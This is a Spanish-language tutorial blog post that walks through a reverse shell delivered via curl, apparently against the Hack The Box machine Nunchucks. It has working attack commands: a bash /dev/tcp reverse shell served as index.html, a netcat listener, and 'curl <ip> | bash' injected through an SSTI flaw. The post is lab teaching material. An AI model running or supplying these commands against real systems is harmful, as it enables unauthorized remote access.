F1r0x
Shell
GitHub
Curl

Como establecer una reverse Shell con el comando Curl

En este artículo vamos a ver como establecer una reverse shell mediante una petición con Curl.

¿Qué es Curl?

Curl es una herramienta cuya finalidad es transferir datos a través de una URL. Es un comando disponible en la mayoría de los sistemas basados en Unix. Es una abreviatura de Client URL. Los comandos de Curl están diseñados para funcionar como una forma de verificar la conectividad a las URL y como una gran herramienta para transferir datos.

Captura de pantalla 2022-07-21 225432

Ejecución:

Para realizar esta operación lo primero que debemos comprobar es que podamos realizar la petición desde el equipo víctima y que este tenga Curl instalado. Una vez tenemos esto solucionado vamos a ver el funcionamiento de manera básica.

Cuando realizamos una petición con Curl desde la máquina víctima:

curl [Ip de Escucha]

curl 10.10.14.25

Y nosotros nos ponemos en escucha desde nuestra terminal, utilizando un servicio HTTP montado con Python 3 por el puerto 80:

sudo python3 -m http.server 80

El funcionamiento es el siguiente, cuando Curl envía una petición a nuestro equipo, estamos realizando una petición a HTTP tratando de conseguir un Index.html (Para poder interpretar la página), aquí es donde viene la trampa.

Lo que nosotros vamos a hacer es crear nuestro propio archivo index.html, de forma que por dentro tenga los comandos para establecer una reverse shell con bash. De esta manera, cuando hagamos la petición por Curl y le ordenemos ejecutarlo con bash se nos abrirá la reverse shell que hayamos establecido.

El archivo index.html debe guardarse en el mismo directorio desde donde utilicemos el servicio HTTP.

Ejemplo Práctico:

Vamos a necesitar tres terminales, una desde donde ejecutar la petición por Curl desde el equipo víctima, una segunda donde usaremos el servicio HTTP para compartir el archivo index.html y una tercera donde nos pondremos en escucha con NetCat (Aquí recibiremos la reverse shell).

Lo primero que vamos a hacer es preparar nuestro archivo index.html, creamos una carpeta llamada shell independiente para que nos sea más fácil:

sudo mkdit shell

Captura de pantalla -2022-07-21 23-14-02

cd shell

Captura de pantalla -2022-07-21 23-15-05

Ahora creamos y definimos nuestro archivo index.html:

sudo nano index.html

Captura de pantalla -2022-07-21 23-15-52

Copiamos y pegamos el siguiente código:

#!/bin/bash

bash -i >& /dev/tcp/[Vuestra Ip]/[Puesto de escucha de NetCat] 0>&1

Debería de quedar algo así:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.25/443 0>&1

Captura de pantalla -2022-07-21 23-16-43

Una vez copiado con vuestros datos, guardáis (Ctrl x O) y salís (Ctrl + X).

Bien, ya tenemos nuestra reverse shell en bash preparada y apuntado al puerto 443. Ahora, desde la misma terminal y permaneciendo en el directorio que contenga el archivo que acabamos de crear, vamos a ejecutar el servicio HTTP con Python 3 para poder compartir el archivo index.html.

sudo python3 -m http.server 80

Captura de pantalla -2022-07-21 23-18-18

Captura de pantalla -2022-07-21 23-18-32

Abrimos nuestra segunda terminal y ponemos a Netcat en escucha por el puerto 443:

sudo nc -lvnp 443

Captura de pantalla -2022-07-21 23-18-57

Captura de pantalla -2022-07-21 23-19-19

Ya tenemos nuestro puerto preparado para recibir la reversehe shell.

Finalmente, nos dirigimos a la terminal donde estemos en contacto con la víctima, es este ejemplo realizaré la petición usando BurpSuite ejecutando el comando dentro de un SSTI. Pero básicamente, lo que debemos es realizar la siguiente petición desde el equipo víctima:

curl 10.10.14.25 | bash

Captura de pantalla 2022-07-21 231821

Captura de pantalla 2022-07-21 231506

Como podéis ver, el comando Curl está dentro de la inyección SSTI, de tal forma que ya solo quedaría enviar la petición. También podemos ver como en la terminal del servidor HTTP nos indica un Get con código de confirmación 200.

Captura de pantalla -2022-07-21 23-19-53

Tras ejecutar este último comando se nos tendría que haber abierto una Shell en la terminal por la que estábamos en escucha con NetCat.

Captura de pantalla -2022-07-21 23-20-30

Captura de pantalla -2022-07-21 23-20-07

Para este ejemplo hemos utilizado la máquina Nunchuchks de Hack the Box.